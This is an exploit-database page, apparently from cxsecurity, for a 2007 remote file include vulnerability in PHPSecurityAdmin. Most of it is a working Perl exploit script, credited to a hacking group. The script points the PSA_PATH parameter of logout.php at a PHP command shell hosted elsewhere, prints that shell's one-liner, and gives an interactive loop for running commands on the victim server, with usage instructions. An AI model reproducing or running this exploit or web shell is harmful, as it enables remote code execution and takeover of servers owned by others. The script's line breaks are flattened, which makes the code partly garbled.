PHPSecurityAdmin Remote File Include Exploit

2007.05.17
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl use LWP::UserAgent; #/* #+************************************************************** #- AYYILDIZ TEAM // AYYILDIZ.ORG #+ #+************************************************************** #+ #- PHPSecurityAdmin <= Remote File Include Exploit #+ #+************************************************************** #+ #- [Script name: PHPSecurityAdmin #- [Script site: http://sourceforge.net/projects/phpsecurityadm/ #+ #+************************************************************** #+ #- Coded by iLker Kandemir #+ #- Contact: ilkerkandemir<at>mynet<dot>com #- #- info: */ Siz Yokken AYYILDIZ Vardi */ #+ #+************************************************************** #+ #- tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG #- #- h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com #! #+ #+************************************************************** # usage: # perl exploit.pl <PSA Locaction> <shell location> <shell cmd> # # perl exploit.pl http://site.com/[PSA_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # # cmd shell variable: ($_GET[cmd]); # $ayt = $ARGV[0]; $aytcmd = $ARGV[1]; $kumanda = $ARGV[2]; if($ayt!~/http:/// || $aytcmd!~/http:/// || !$kumanda){usage()} head(); while() { print "[shell] $"; while(<STDIN>) { $cmd=$_; chomp($cmd); $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET=>$ayt. '/phpsecurityadmin/include/logout.php?PSA_PATH='.$aytcmd.'?&'.$kumanda.' ='.$cmd)or die "nCouldNot connectn"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[n]/[&#234;]/; if (!$cmd) {print "nEnter a Commandnn"; $return ="";} elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot executea blank command in <b>/) {print "nCould Not Connect to cmd Host or Invalid Command Variablen";exit} elsif ($return =~/^<br./>.<b>Warning/) {print "nInvalid Commandnn"} if($return =~ /(.+)<br./>.<b>Warning.(.+)<br./>.<b>Warning/) { $finreturn = $1; $finreturn=~ tr/[&#234;]/[n]/; print "rn$finreturnnr"; last; } else {print "[shell] $";}}}last; sub head() { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n"; print "+ AYYILDIZ TEAM // AYYILDIZ.ORG +n"; print "+ PHPSecurityAdmin <= Remote File Include Exploit +n"; print "+ AYYILDIZ.ORG +n"; print "+ iLker Kandemir [ O Bir Dunya Markasi ] +n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n"; } sub usage() { head(); print " Usage: perl exploit.pl <PSA Locaction> <shell location> <shell cmd>rnn"; print " <PSA Locaction> - Full path to PSA ex: http://www.xxx-site.com/rn"; print " <shell location> - Path to cmd Shell e.g http://www.xxx-host.com/cmd.txtrn"; print " <shell cmd> - Command variable used in php shell rn"; print " ======================================================================== ====rn"; print " Find by: iLker Kandemir rn"; print " ilkerkandemir (at) mynet (dot) com [email concealed] rn"; print " Thnx:h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann rn"; print " ======================================================================== ====rn"; exit(); }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top